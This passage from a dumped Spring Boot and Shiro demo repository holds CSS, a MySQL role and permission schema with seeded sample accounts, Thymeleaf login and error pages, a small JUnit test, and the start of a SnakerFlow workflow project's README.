{\n    body.fixed-sidebar .navbar-static-side {\n        display: none;\n    }\n    body.fixed-sidebar.mini-navbar .navbar-static-side {\n        width: 70px;\n    }\n    .lock-word {\n        display: none;\n    }\n    .navbar-form-custom {\n        display: none;\n    }\n    .navbar-header {\n        display: inline;\n        float: left;\n    }\n    .sidebard-panel {\n        z-index: 2;\n        position: relative;\n        width: auto;\n        min-height: 100% !important;\n    }\n    .sidebar-content .wrapper {\n        padding-right: 0px;\n        z-index: 1;\n    }\n    .fixed-sidebar.body-small .navbar-static-side {\n        display: none;\n        z-index: 2001;\n        position: fixed;\n        width: 220px;\n    }\n    .fixed-sidebar.body-small.mini-navbar .navbar-static-side {\n        display: block;\n    }\n    .ibox-tools {\n        float: none;\n        text-align: right;\n        display: block;\n    }\n    .content-tabs {\n        display: none;\n    }\n    #content-main {\n        height: calc(100% - 100px);\n    }\n    .fixed-nav #content-main {\n        height: calc(100% - 38px);\n    }\n}\n\n.navbar-static-side {\n    background: #2f4050;\n}\n\n.nav-close {\n    padding: 10px;\n    display: block;\n    position: absolute;\n    right: 5px;\n    top: 5px;\n    font-size: 1.4em;\n    cursor: pointer;\n    z-index: 10;\n    display: none;\n    color: rgba(255, 255, 255, .3);\n}\n\n@media (max-width: 350px) {\n    body.fixed-sidebar.mini-navbar .navbar-static-side {\n        width: 0;\n    }\n    .nav-close {\n        display: block;\n    }\n    #page-wrapper {\n        margin-left: 0!important;\n    }\n    .timeline-item .date {\n        text-align: left;\n        width: 110px;\n        position: relative;\n        padding-top: 30px;\n    }\n    .timeline-item .date i {\n        position: absolute;\n        top: 0;\n        left: 15px;\n        padding: 5px;\n        width: 30px;\n        text-align: center;\n        border: 1px solid #e7eaec;\n        background: #f8f8f8;\n    }\n    .timeline-item .content {\n        border-left: none;\n        border-top: 1px solid #e7eaec;\n        padding-top: 10px;\n        min-height: 100px;\n    }\n    .nav.navbar-top-links li.dropdown {\n        display: none;\n    }\n    .ibox-tools {\n        float: none;\n        text-align: left;\n        display: inline-block;\n    }\n}\n\n\n/*JQGRID*/\n\n.ui-jqgrid-titlebar {\n    height: 40px;\n    line-height: 24px;\n    color: #676a6c;\n    background-color: #F9F9F9;\n    text-shadow: 0 1px 0 rgba(255, 255, 255, 0.5);\n}\n\n.ui-jqgrid .ui-jqgrid-title {\n    float: left;\n    margin-left: 5px;\n    font-weight: 700;\n}\n\n.ui-jqgrid .ui-jqgrid-titlebar {\n    position: relative;\n    border-left: 0px solid;\n    border-right: 0px solid;\n    border-top: 0px solid;\n}\n\n\n/* Social feed */\n\n.social-feed-separated .social-feed-box {\n    margin-left: 62px;\n}\n\n.social-feed-separated .social-avatar {\n    float: left;\n    padding: 0;\n}\n\n.social-feed-separated .social-avatar img {\n    width: 52px;\n    height: 52px;\n    border: 1px solid #e7eaec;\n}\n\n.social-feed-separated .social-feed-box .social-avatar {\n    padding: 15px 15px 0 15px;\n    float: none;\n}\n\n.social-feed-box {\n    /*padding: 15px;*/\n    border: 1px solid #e7eaec;\n    background: #fff;\n    margin-bottom: 15px;\n}\n\n.article .social-feed-box {\n    margin-bottom: 0;\n    border-bottom: none;\n}\n\n.article .social-feed-box:last-child {\n    margin-bottom: 0;\n    border-bottom: 1px solid #e7eaec;\n}\n\n.article .social-feed-box p {\n    font-size: 13px;\n    line-height: 18px;\n}\n\n.social-action {\n    margin: 15px;\n}\n\n.social-avatar {\n    padding: 15px 15px 0 15px;\n}\n\n.social-comment .social-comment {\n    margin-left: 45px;\n}\n\n.social-avatar img {\n    height: 40px;\n    width: 40px;\n    margin-right: 10px;\n}\n\n.social-avatar .media-body a {\n    font-size: 14px;\n    display: block;\n}\n\n.social-body {\n    padding: 15px;\n}\n\n.social-body img {\n    margin-bottom: 10px;\n}\n\n.social-footer {\n    border-top: 1px solid #e7eaec;\n    padding: 10px 15px;\n    background: #f9f9f9;\n}\n\n.social-footer .social-comment img {\n    width: 32px;\n    margin-right: 10px;\n}\n\n.social-comment:first-child {\n    margin-top: 0;\n}\n\n.social-comment {\n    margin-top: 15px;\n}\n\n.social-comment textarea {\n    font-size: 12px;\n}\n\n.checkbox input[type=checkbox],\n.checkbox-inline input[type=checkbox],\n.radio input[type=radio],\n.radio-inline input[type=radio] {\n    margin-top: -4px;\n}\n\n\n/* Only demo */\n\n@media (max-width: 1000px) {\n    .welcome-message {\n        display: none;\n    }\n}\n\n\n/* ECHARTS  */\n\n.echarts {\n    height: 240px;\n}\n\n.checkbox-inline,\n.radio-inline,\n.checkbox-inline+.checkbox-inline,\n.radio-inline+.radio-inline {\n    margin: 0 15px 0 0;\n}\n\n.navbar-toggle {\n    background-color: #fff;\n}\n\n.J_menuTab {\n    -webkit-transition: all .3s ease-out 0s;\n    transition: all .3s ease-out 0s;\n}\n\n::-webkit-scrollbar-track {\n    background-color: #F5F5F5;\n}\n\n::-webkit-scrollbar {\n    width: 6px;\n    background-color: #F5F5F5;\n}\n\n::-webkit-scrollbar-thumb {\n    background-color: #999;\n}\n\n\n/*GO HOME*/\n\n.gohome {\n    position: fixed;\n    top: 20px;\n    right: 20px;\n    z-index: 100;\n}\n\n.gohome a {\n    height: 38px;\n    width: 38px;\n    display: block;\n    background: #2f4050;\n    padding: 9px 8px;\n    text-align: center;\n    color: #fff;\n    border-radius: 50%;\n    opacity: .5;\n}\n\n.gohome a:hover {\n    opacity: 1;\n}\n\n@media only screen and (-webkit-min-device-pixel-ratio : 2){\n    #content-main {\n        -webkit-overflow-scrolling: touch;\n    }\n}\n\n.navbar-header {\n    width: 60%;\n}\n\n.bs-glyphicons {\n    margin: 0 -10px 20px;\n    overflow: hidden\n}\n\n.bs-glyphicons-list {\n    padding-left: 0;\n    list-style: none\n}\n\n.bs-glyphicons li {\n    float: left;\n    width: 25%;\n    height: 115px;\n    padding: 10px;\n    font-size: 10px;\n    line-height: 1.4;\n    text-align: center;\n    background-color: #f9f9f9;\n    border: 1px solid #fff\n}\n\n.bs-glyphicons .glyphicon {\n    margin-top: 5px;\n    margin-bottom: 10px;\n    font-size: 24px\n}\n\n.bs-glyphicons .glyphicon-class {\n    display: block;\n    text-align: center;\n    word-wrap: break-word\n}\n\n.bs-glyphicons li:hover {\n    color: #fff;\n    background-color: #1ab394;\n}\n\n@media (min-width: 768px) {\n    .bs-glyphicons {\n        margin-right: 0;\n        margin-left: 0\n    }\n    .bs-glyphicons li {\n        width: 12.5%;\n        font-size: 12px\n    }\n}\n.table tr td {\n\tword-break: break-all;\n    word-wrap: break-word;\n}\n.Validform_checktip{\n\tmargin-left:8px;\n\tline-height:20px;\n\theight:20px;\n\tdisplay: inline-block;\n\tcolor:#999;\n\tfont-size:12px;\n}\n.Validform_right{\n\tcolor:#71b83d;\n\tpadding-left:20px;\n\tbackground:url(../img/right.png) no-repeat left center;\n}\n.Validform_wrong{\n\tcolor:red;\n\tpadding-left:20px;\n\twhite-space:nowrap;\n\tbackground:url(../img/error.png) no-repeat left center;\n}\n.Validform_loading{\n\tpadding-left:20px;\n\tbackground:url(../img/onLoad.gif) no-repeat left center;\n}\n.Validform_error{\n\tbackground-color:#ffe7e7;\n}\n#Validform_msg{color:#7d8289; font: 12px/1.5 tahoma, arial, \\5b8b\\4f53, sans-serif; width:280px; -webkit-box-shadow:2px 2px 3px #aaa; -moz-box-shadow:2px 2px 3px #aaa; background:#fff; position:absolute; top:0px; right:50px; z-index:99999; display:none;filter: progid:DXImageTransform.Microsoft.Shadow(Strength=3, Direction=135, Color='#999999');}\n#Validform_msg .iframe{position:absolute; left:0px; top:-1px; z-index:-1;}\n#Validform_msg .Validform_title{line-height:25px; height:25px; text-align:left; font-weight:bold; padding:0 8px; color:#fff; position:relative; background-color:#000;}\n#Validform_msg a.Validform_close:link,#Validform_msg a.Validform_close:visited{line-height:22px; position:absolute; right:8px; top:0px; color:#fff; text-decoration:none;}\n#Validform_msg a.Validform_close:hover{color:#cc0;}\n#Validform_msg .Validform_info{padding:8px;border:1px solid #000; border-top:none; text-align:left;}"
  },
  {
    "path": "jun_springboot_plugin/springboot_shiro/src/main/resources/sql/schema.sql",
    "content": "# -------------------------------------以下业务表开始-------------------------------------------\n# CREATE DATABASE IF NOT EXISTS pos default charset utf8 COLLATE utf8_general_ci;\n# SET FOREIGN_KEY_CHECKS=0;\n# USE pos;\n\n# -------------------------------------以下用户管理表开始-------------------------------------------\n\n-- 后台管理用户表\nDROP TABLE IF EXISTS `t_manager`;\nCREATE TABLE `t_manager` (\n  `id`                        INT(11) PRIMARY KEY AUTO_INCREMENT COMMENT '主键ID',\n  `username`                  VARCHAR(32) NOT NULL COMMENT '账号',\n  `name`                      VARCHAR(16) DEFAULT '' COMMENT '名字',\n  `password`                  VARCHAR(128) DEFAULT '' COMMENT '密码',\n  `salt`                      VARCHAR(64) DEFAULT '' COMMENT 'md5密码盐',\n  `phone`                     VARCHAR(32) DEFAULT '' COMMENT '联系电话',\n  `tips`                      VARCHAR(255) COMMENT '备注',\n  `state`                     TINYINT(1) DEFAULT 1 COMMENT '状态 1:正常 2:禁用',\n  `created_time`              DATETIME DEFAULT CURRENT_TIMESTAMP COMMENT '创建时间',\n  `updated_time`              DATETIME DEFAULT CURRENT_TIMESTAMP ON UPDATE CURRENT_TIMESTAMP COMMENT '更新时间'\n) ENGINE=InnoDB AUTO_INCREMENT=1 DEFAULT CHARSET=utf8 COMMENT='后台管理用户表';\nINSERT INTO `t_manager` VALUES (1,'admin','系统管理员','4a496ba2a4172c71540fa643ddc8bb7c','b4752b4b73034de06afb2db30fe19061', '17890908889', '系统管理员', 1, '2017-12-12 09:46:12', '2017-12-12 09:46:12');\nINSERT INTO `t_manager` VALUES (2,'aix','张三','2412d3972722eb186f69a8f4011fbd48','20545a7eaea0241ddf6652a3f9a4ae24', '17859569358', '', 1, '2017-12-12 09:46:12', '2017-12-12 09:46:12');\n\n-- 角色表\nDROP TABLE IF EXISTS `t_role`;\nCREATE TABLE `t_role` (\n  `id`                        INT(11) PRIMARY KEY AUTO_INCREMENT COMMENT '主键ID',\n  `role`                      VARCHAR(64) DEFAULT '' COMMENT '角色名称',\n  `description`               VARCHAR(255) DEFAULT '' COMMENT '角色说明',\n  `created_time`              DATETIME DEFAULT CURRENT_TIMESTAMP COMMENT '创建时间',\n  `updated_time`              DATETIME DEFAULT CURRENT_TIMESTAMP ON UPDATE CURRENT_TIMESTAMP COMMENT '更新时间'\n) ENGINE=InnoDB AUTO_INCREMENT=1 DEFAULT CHARSET=utf8 COMMENT='角色表';\nINSERT INTO `t_role` VALUES (1,'admin','超级管理员', '2017-12-12 09:46:12', '2017-12-12 09:46:12');\nINSERT INTO `t_role` VALUES (2,'aix','系统监控员', '2017-12-12 09:46:12', '2017-12-12 09:46:12');\n\n-- 用户角色关联表\nDROP TABLE IF EXISTS `t_manager_role`;\nCREATE TABLE `t_manager_role` (\n  `id`                        INT(11) PRIMARY KEY AUTO_INCREMENT COMMENT '主键ID',\n  `manager_id`                INT(11) NOT NULL COMMENT '管理用户ID',\n  `role_id`                   INT(11) NOT NULL COMMENT '角色ID',\n  `created_time`              DATETIME DEFAULT CURRENT_TIMESTAMP COMMENT '创建时间',\n  `updated_time`              DATETIME DEFAULT CURRENT_TIMESTAMP ON UPDATE CURRENT_TIMESTAMP COMMENT '更新时间'\n) ENGINE=InnoDB AUTO_INCREMENT=1 DEFAULT CHARSET=utf8 COMMENT='用户角色关联表';\nINSERT INTO `t_manager_role` VALUES (1, 1, 1, '2017-05-05 00:00:00','2017-05-05 00:00:00');\nINSERT INTO `t_manager_role` VALUES (2, 2, 2, '2017-05-05 00:00:00','2017-05-05 00:00:00');\n\n-- 权限表\nDROP TABLE IF EXISTS `t_permission`;\nCREATE TABLE `t_permission` (\n  `id`                        INT(11) PRIMARY KEY AUTO_INCREMENT COMMENT '主键ID',\n  `permission`                VARCHAR(64) DEFAULT '' COMMENT '权限名称',\n  `description`               VARCHAR(255) DEFAULT '' COMMENT '权限说明',\n  `created_time`              DATETIME DEFAULT CURRENT_TIMESTAMP COMMENT '创建时间',\n  `updated_time`              DATETIME DEFAULT CURRENT_TIMESTAMP ON UPDATE CURRENT_TIMESTAMP COMMENT '更新时间'\n) ENGINE=InnoDB AUTO_INCREMENT=1 DEFAULT CHARSET=utf8 COMMENT='权限表';\nINSERT INTO `t_permission` VALUES (1,'permission:admin','超级管理权限', '2017-12-12 09:46:12', '2017-12-12 09:46:12');\nINSERT INTO `t_permission` VALUES (2,'permission:aix','监控权限', '2017-12-12 09:46:12', '2017-12-12 09:46:12');\nINSERT INTO `t_permission` VALUES (3,'permission:adduser','添加用户权限', '2017-12-12 09:46:12', '2017-12-12 09:46:12');\n\n-- 角色权限关联表\nDROP TABLE IF EXISTS `t_role_permission`;\nCREATE TABLE `t_role_permission` (\n  `id`                        INT(11) PRIMARY KEY AUTO_INCREMENT COMMENT '主键ID',\n  `role_id`                   INT(11) NOT NULL COMMENT '角色ID',\n  `permission_id`             INT(11) NOT NULL COMMENT '权限ID',\n  `created_time`              DATETIME DEFAULT CURRENT_TIMESTAMP COMMENT '创建时间',\n  `updated_time`              DATETIME DEFAULT CURRENT_TIMESTAMP ON UPDATE CURRENT_TIMESTAMP COMMENT '更新时间'\n) ENGINE=InnoDB AUTO_INCREMENT=1 DEFAULT CHARSET=utf8 COMMENT='角色权限关联表';\nINSERT INTO `t_role_permission` VALUES (1, 1, 1, '2017-12-12 09:46:12', '2017-12-12 09:46:12');\nINSERT INTO `t_role_permission` VALUES (2, 1, 3, '2017-12-12 09:46:12', '2017-12-12 09:46:12');\nINSERT INTO `t_role_permission` VALUES (3, 2, 2, '2017-12-12 09:46:12', '2017-12-12 09:46:12');\n\n-- 项目用户关联表\nDROP TABLE IF EXISTS `t_project_user`;\nCREATE TABLE `t_project_user` (\n  `id`                        INT(11) PRIMARY KEY AUTO_INCREMENT COMMENT '主键ID',\n  `user_id`                   INT(11) NOT NULL COMMENT '用户ID',\n  `project_id`                INT(11) NOT NULL COMMENT '项目ID',\n  `created_time`              DATETIME DEFAULT CURRENT_TIMESTAMP COMMENT '创建时间',\n  `updated_time`              DATETIME DEFAULT CURRENT_TIMESTAMP ON UPDATE CURRENT_TIMESTAMP COMMENT '更新时间'\n) ENGINE=InnoDB AUTO_INCREMENT=1 DEFAULT CHARSET=utf8 COMMENT='项目用户关联表';\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_shiro/src/main/resources/templates/403.html",
    "content": "<!DOCTYPE html>\n<html lang=\"en\">\n<head>\n    <meta charset=\"UTF-8\">\n    <title>403</title>\n</head>\n<body>\n<h3>403没有权限</h3>\n</body>\n</html>"
  },
  {
    "path": "jun_springboot_plugin/springboot_shiro/src/main/resources/templates/error/404.html",
    "content": "<!DOCTYPE html>\n<html xmlns=\"http://www.w3.org/1999/xhtml\"\n      xmlns:th=\"http://www.thymeleaf.org\">\n<head>\n    <title>404-页面未找到</title>\n    <meta content=\"text/html; charset=utf-8\" http-equiv=\"Content-Type\"/>\n    <link rel=\"shortcut icon\" th:href=\"@{/favicon.ico}\"/>\n    <link th:href=\"@{/static/css/bootstrap.min.css}\" rel=\"stylesheet\"/>\n    <link rel=\"stylesheet\" type=\"text/css\" th:href=\"@{/static/css/404.css}\" media=\"screen\"/>\n</head>\n<body>\n<div id=\"container\">\n    <img class=\"png\" th:src=\"@{/static/img/error/404.png}\" alt=\"\"/>\n    <img class=\"png msg\" th:src=\"@{/static/img/error/404_msg.png}\" alt=\"\"/>\n    <p>\n        <a href=\"/\"><img class=\"png\" th:src=\"@{/static/img/error/404_to_index.png}\" alt=\"\"/></a>\n    </p>\n</div>\n<div id=\"cloud\" class=\"png\"></div>\n<pre style=\"DISPLAY: none\"></pre>\n</body>\n</html>"
  },
  {
    "path": "jun_springboot_plugin/springboot_shiro/src/main/resources/templates/error/500.html",
    "content": "<!DOCTYPE html>\n<html xmlns=\"http://www.w3.org/1999/xhtml\" xmlns:th=\"http://www.thymeleaf.org\">\n<head>\n    <title>500 错误页面</title>\n</head>\n<body>\n<h1>500 Error</h1>\n\n</body>\n</html>"
  },
  {
    "path": "jun_springboot_plugin/springboot_shiro/src/main/resources/templates/error/shiro_403.html",
    "content": "<!DOCTYPE html>\n<html xmlns=\"http://www.w3.org/1999/xhtml\" xmlns:th=\"http://www.thymeleaf.org\">\n<head>\n    <title>机具管理平台</title>\n</head>\n<body>\n<h1>没有权限</h1>\n\n</body>\n</html>"
  },
  {
    "path": "jun_springboot_plugin/springboot_shiro/src/main/resources/templates/index.html",
    "content": "<!DOCTYPE html>\n<html xmlns=\"http://www.w3.org/1999/xhtml\"\n      xmlns:th=\"http://www.thymeleaf.org\"\n      xmlns:shiro=\"http://www.pollix.at/thymeleaf/shiro\">\n<head>\n    <meta charset=\"utf-8\">\n    <meta name=\"viewport\" content=\"width=device-width, initial-scale=1.0\">\n    <meta name=\"renderer\" content=\"webkit\">\n    <title>SpringBoot Shiro测试</title>\n    <link rel=\"shortcut icon\" th:href=\"@{/favicon.ico}\"/>\n    <link th:href=\"@{/static/css/bootstrap.min.css}\" rel=\"stylesheet\"/>\n    <link th:href=\"@{/static/css/style.css}\" rel=\"stylesheet\"/>\n</head>\n<body class=\"fixed-sidebar full-height-layout gray-bg\" style=\"overflow:hidden\">\n<div id=\"wrapper\">\n    <!--左侧导航开始-->\n    <nav class=\"navbar-default navbar-static-side\" role=\"navigation\">\n        <div class=\"nav-close\"><i class=\"fa fa-times-circle\"></i>\n        </div>\n        <div class=\"sidebar-collapse\">\n            <ul class=\"nav\" id=\"side-menu\">\n                <li class=\"nav-header\">\n                    <div class=\"dropdown profile-element\">\n                        <a data-toggle=\"dropdown\" class=\"dropdown-toggle\" href=\"#\">\n                                <span class=\"clear\">\n                               \t<span class=\"block m-t-xs\"><strong class=\"font-bold\" th:text=\"${session.user.username}\">Beaut-zihan</strong></span>\n                                <span class=\"text-muted text-xs block\">[[${session.user.name}]]<b class=\"caret\"></b></span>\n                                </span>\n                        </a>\n                        <ul class=\"dropdown-menu animated fadeInRight m-t-xs\">\n                            <li><a th:href=\"@{/}\">修改密码</a></li>\n                            <li><a href=\"javascript:void(0);\" onclick=\"logout()\">安全退出</a></li>\n                        </ul>\n                    </div>\n                    <div class=\"logo-element\"></div>\n                </li>\n                <li shiro:hasRole=\"admin\">\n                    <a class=\"J_menuItem\" th:href=\"@{/}\"><span class=\"nav-label\">用户管理</span></a>\n                </li>\n                <li shiro:lacksRole=\"admin\">`\n                    <a class=\"J_menuItem\" th:href=\"@{/}\"><span class=\"nav-label\">机具入网管理</span></a>\n                </li>\n                <li shiro:lacksRole=\"admin\">\n                    <a class=\"J_menuItem\" th:href=\"@{/}\"><span class=\"nav-label\">机具状态监控</span></a>\n                </li>\n                <li shiro:lacksRole=\"admin\">\n                    <a class=\"J_menuItem\" th:href=\"@{/}\" data-index=\"0\">App管理</a>\n                </li>\n            </ul>\n        </div>\n    </nav>\n    <!--左侧导航结束-->\n    <!--右侧部分开始-->\n    <div id=\"page-wrapper\" class=\"gray-bg dashbard-1\">\n        <div class=\"row content-tabs\">\n            <button class=\"roll-nav roll-left J_tabLeft\"><i class=\"fa fa-backward\"></i>\n            </button>\n            <nav class=\"page-tabs J_menuTabs\">\n                <div class=\"page-tabs-content\">\n                    <a href=\"javascript:void(0);\" class=\"active J_menuTab\" data-id=\"main.html\">首页</a>\n                </div>\n            </nav>\n            <button class=\"roll-nav roll-right J_tabRight\"><i class=\"fa fa-forward\"></i>\n            </button>\n            <div class=\"btn-group roll-nav roll-right\">\n                <button class=\"dropdown J_tabClose\" data-toggle=\"dropdown\">关闭操作<span class=\"caret\"></span>\n                </button>\n                <ul role=\"menu\" class=\"dropdown-menu dropdown-menu-right\">\n                    <li class=\"J_tabShowActive\"><a>定位当前选项卡</a>\n                    </li>\n                    <li class=\"divider\"></li>\n                    <li class=\"J_tabCloseAll\"><a>关闭全部选项卡</a>\n                    </li>\n                    <li class=\"J_tabCloseOther\"><a>关闭其他选项卡</a>\n                    </li>\n                </ul>\n            </div>\n            <a href=\"javascript:void(0);\" onclick=\"logout()\" class=\"roll-nav roll-right J_tabExit\"><i class=\"fa fa fa-sign-out\"></i> 退出</a>\n        </div>\n        <div class=\"row J_mainContent\" id=\"content-main\">\n            <iframe class=\"J_iframe\" name=\"iframe0\" width=\"100%\" height=\"100%\" th:src=\"@{/welcome}\"\n                    frameborder=\"0\" data-id=\"@{/welcome}\" seamless></iframe>\n        </div>\n    </div>\n    <!--右侧部分结束-->\n</div>\n<script th:src=\"@{/static/js/jquery.min.js}\"></script>\n<script th:src=\"@{/static/js/bootstrap.min.js}\"></script>\n<script>\n    function logout() {\n        window.location = '/logout';\n    }\n</script>\n\n</body>\n</html>"
  },
  {
    "path": "jun_springboot_plugin/springboot_shiro/src/main/resources/templates/login.html",
    "content": "<!DOCTYPE html>\n<html xmlns:th=\"http://www.thymeleaf.org\">\n<head>\n    <meta charset=\"utf-8\">\n    <meta name=\"viewport\" content=\"width=device-width, initial-scale=1.0\"/>\n    <title>SpringBoot Shiro测试</title>\n    <link rel=\"shortcut icon\" href=\"../public/favicon.ico\" th:href=\"@{/favicon.ico}\"/>\n    <link href=\"../public/static/css/bootstrap.min.css\" th:href=\"@{/static/css/bootstrap.min.css}\" rel=\"stylesheet\"/>\n    <link href=\"../public/static/css/style.css\" th:href=\"@{/static/css/style.css}\" rel=\"stylesheet\"/>\n    <script>if(window.top !== window.self){ window.top.location = window.location;}</script>\n</head>\n\n<body class=\"gray-bg\">\n<div class=\"middle-box text-center loginscreen  animated fadeInDown\">\n    <div>\n        <div>\n            <h1 class=\"logo-name\" style=\"height: 170px;\"></h1>\n        </div>\n        <h2>欢迎使用XX管理平台</h2>\n        <div th:if=\"${msg}\">\n        \t<div id=\"login-alert1\" class=\"alert alert-danger col-sm-12\" th:text=\"${msg}\"></div>\n        </div>\n        <div th:else>\n        \t<div id=\"login-alert2\" class=\"alert alert-danger col-sm-12\" style=\"display: none;\"></div>\n        </div>\n        <form class=\"m-t\" id=\"form\" role=\"form\" method=\"post\" th:action=\"@{/login}\">\n            <div class=\"form-group\">\n                <input id=\"login-username\" th:value=\"${username}\" name=\"username\" type=\"text\" autocomplete=\"off\"\n                       class=\"form-control\" placeholder=\"用户名\" oninvalid=\"this.setCustomValidity('请输入用户名')\" oninput=\"setCustomValidity('')\">\n            </div>\n            <div class=\"form-group\">\n                <input id=\"login-password\" th:value=\"${password}\" name=\"password\" type=\"password\" autocomplete=\"off\"\n                       class=\"form-control\" placeholder=\"密码\" oninvalid=\"this.setCustomValidity('请输入密码')\" oninput=\"setCustomValidity('')\">\n            </div>\n            <div class=\"form-group\" style=\"padding-bottom: 33px;\">\n                <div class=\"col-sm-8\" style=\"padding-left: 0; padding-right: 0;\">\n                    <input class=\"form-control\" type=\"text\" name=\"captcha\" placeholder=\"验证码\" autocomplete=\"off\"\n                           oninvalid=\"this.setCustomValidity('请输入验证码')\" oninput=\"setCustomValidity('')\">\n                </div>\n                <div class=\"col-sm-4\" style=\"padding-left: 20px;\">\n                    <img th:src=\"@{/kaptcha.jpg}\" id=\"kaptcha\" width=\"100%\" height=\"100%\"/>\n                </div>\n            </div>\n            <div class=\"form-group\">\n                <button type=\"submit\" class=\"btn btn-primary block full-width m-b\">登 录</button>\n            </div>\n            <!--<p class=\"text-muted text-center\">-->\n                <!--<a href=\"login.html#\"><small>忘记密码了？</small></a> | <a href=\"#\">注册一个新账号</a>-->\n            <!--</p>-->\n        </form>\n    </div>\n</div>\n<script src=\"../public/static/js/jquery.min.js?v=2.1.4\" th:src=\"@{/static/js/jquery.min.js}\"></script>\n<script src=\"../public/static/js/bootstrap.min.js?v=3.3.6\" th:src=\"@{/static/js/bootstrap.min.js}\"></script>\n<script>\n    $(function () {\n        $(\"#kaptcha\").on('click', function () {\n            changeKaptcha();\n        });\n        $('#form').submit(function() {\n        \tvar username = $('[name=\"username\"]').val();\n        \tvar password = $('[name=\"password\"]').val();\n        \tif(username == '') {\n        \t\t$('#login-alert').text('请输入用户名').show();\n        \t\treturn false;\n        \t} else if(password == '') {\n        \t\t$('#login-alert').text('请输入密码').show();\n        \t\treturn false;\n        \t}\n        });\n    });\n    function changeKaptcha() {\n        $(\"#kaptcha\").attr('src', '/kaptcha.jpg?' + Math.floor(Math.random() * 100)).fadeIn();\n    }\n</script>\n</body>\n</html>"
  },
  {
    "path": "jun_springboot_plugin/springboot_shiro/src/main/resources/templates/modules/common/welcome.html",
    "content": "<!DOCTYPE html>\n<html xmlns=\"http://www.w3.org/1999/xhtml\"\n      xmlns:th=\"http://www.thymeleaf.org\">\n<head>\n    <meta charset=\"utf-8\">\n    <meta name=\"viewport\" content=\"width=device-width, initial-scale=1.0\">\n    <link rel=\"shortcut icon\" th:href=\"@{/favicon.ico}\"/>\n    <link th:href=\"@{/static/css/bootstrap.min.css}\" rel=\"stylesheet\"/>\n    <link th:href=\"@{/static/css/style.css}\" rel=\"stylesheet\"/>\n</head>\n<body class=\"gray-bg\">\n<div class=\"wrapper wrapper-content animated fadeInRight\">\n    <div class=\"ibox-content\">\n        <h3>欢迎您！</h3>\n    </div>\n</div>\n</body>\n</html>\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_shiro/src/main/resources/templates/userInfo.html",
    "content": "<!DOCTYPE html>\n<html lang=\"en\">\n<head>\n    <meta charset=\"UTF-8\">\n    <title>UserInfo</title>\n</head>\n<body>\n<h3>用户查询界面</h3>\n</body>\n</html>"
  },
  {
    "path": "jun_springboot_plugin/springboot_shiro/src/main/resources/templates/userInfoAdd.html",
    "content": "<!DOCTYPE html>\n<html lang=\"en\">\n<head>\n    <meta charset=\"UTF-8\">\n    <title>Add</title>\n</head>\n<body>\n<h3>用户添加界面</h3>\n</body>\n</html>"
  },
  {
    "path": "jun_springboot_plugin/springboot_shiro/src/main/resources/templates/userInfoDel.html",
    "content": "<!DOCTYPE html>\n<html lang=\"en\">\n<head>\n    <meta charset=\"UTF-8\">\n    <title>Del</title>\n</head>\n<body>\n<h3>用户删除界面</h3>\n</body>\n</html>"
  },
  {
    "path": "jun_springboot_plugin/springboot_shiro/src/test/java/com/xncoding/pos/SimpleTest.java",
    "content": "package com.xncoding.pos;\n\nimport com.xncoding.pos.shiro.ShiroKit;\nimport org.junit.Test;\n\nimport java.nio.file.*;\n\n/**\n * SimpleTest\n *\n * @author XiongNeng\n * @version 1.0\n * @since 2018/1/4\n */\npublic class SimpleTest {\n    @Test\n    public void testMd5() {\n        //盐（用户名+随机数）\n        String username = \"admin\";\n        String salt = ShiroKit.getRandomSalt(16);\n        //原密码\n        String password = \"12345678\";\n        String encodedPassword = ShiroKit.md5(password, username + salt);\n        System.out.println(\"这个是保存进数据库的密码:\" + encodedPassword);\n        System.out.println(\"这个是保存进数据库的盐:\" + salt);\n    }\n\n    @Test\n    public void test1() throws Exception {\n        WatchService watchService\n                = FileSystems.getDefault().newWatchService();\n\n        Path path = Paths.get(System.getProperty(\"user.home\"));\n\n        path.register(\n                watchService,\n                StandardWatchEventKinds.ENTRY_CREATE,\n                StandardWatchEventKinds.ENTRY_DELETE,\n                StandardWatchEventKinds.ENTRY_MODIFY);\n\n        WatchKey key;\n        while ((key = watchService.take()) != null) {\n            for (WatchEvent<?> event : key.pollEvents()) {\n                System.out.println(\n                        \"Event kind:\" + event.kind()\n                                + \". File affected: \" + event.context() + \".\");\n            }\n            key.reset();\n        }\n    }\n}\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_snaker/.gitattributes",
    "content": "*.js linguist-language=java\n*.css linguist-language=java\n*.html linguist-language=java\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_snaker/Initial_commit.patch",
    "content": "Index: README.md\nIDEA additional info:\nSubsystem: com.intellij.openapi.diff.impl.patch.CharsetEP\n<+>UTF-8\n===================================================================\n--- README.md\t(date 1545134171000)\n+++ README.md\t(date 1545134171000)\n@@ -0,0 +1,1 @@\n+#Springboot_snakerflow\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_snaker/README.md",
    "content": "# springboot-snakerflow\n采用springboot2.0.5+snakerflow2.4.0搭建工作流微服务项目，集成mybatis-plus，并对外提供了restful风格的接口。\n"
  },
  {
    "path": "jun_springboot_plugin/springboot_snaker/Spring Boot 集成SnakerFlow流程引擎，简介、功能列表、详细解读、扩展点分析.md",
